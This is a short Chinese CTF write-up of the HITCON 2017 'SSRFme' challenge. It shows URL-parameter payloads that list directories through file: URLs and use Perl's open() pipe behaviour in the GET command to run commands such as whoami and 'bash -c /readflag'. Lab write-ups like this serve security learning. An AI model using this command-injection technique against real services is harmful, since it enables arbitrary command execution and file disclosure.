[BUUCTF题解][HITCON 2017]SSRFme
### 知识点
PERL函数漏洞
过程
做题先搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),但是也就index.php这一个页面。

提供了url参数作为GET命令执行的参数,filename参数对应的路径会被创建并存储命令执行得到的结果。
先介绍下,GET命令的正常用法。GET可以用来列举参数路径的目录(路径支持file协议),如下:
?filename=ez&url=/

?filename=az&url=file:/

漏洞在于GET命令执行过程中调用了open函数,而open函数存在任意命令执行的漏洞,只需要构造如下格式payload,并保证当前目录下存在以Payload|为路径存在对应的文件就能实现任意命令执行。
GET file:Payload|
如执行whoami命令(需要注意携带payload访问两次页面,其中第一次用来创建对应路径的文件)。
?filename=whoami|&url=file:whoami|

至于flag的位置就在根目录下,需要执行根目录下的/readflag文件才能读取,采用bash去执行就ok了。
?filename=bash%20-c%20/readflag|&url=file:bash%20-c%20/readflag|


浙公网安备 33010602011771号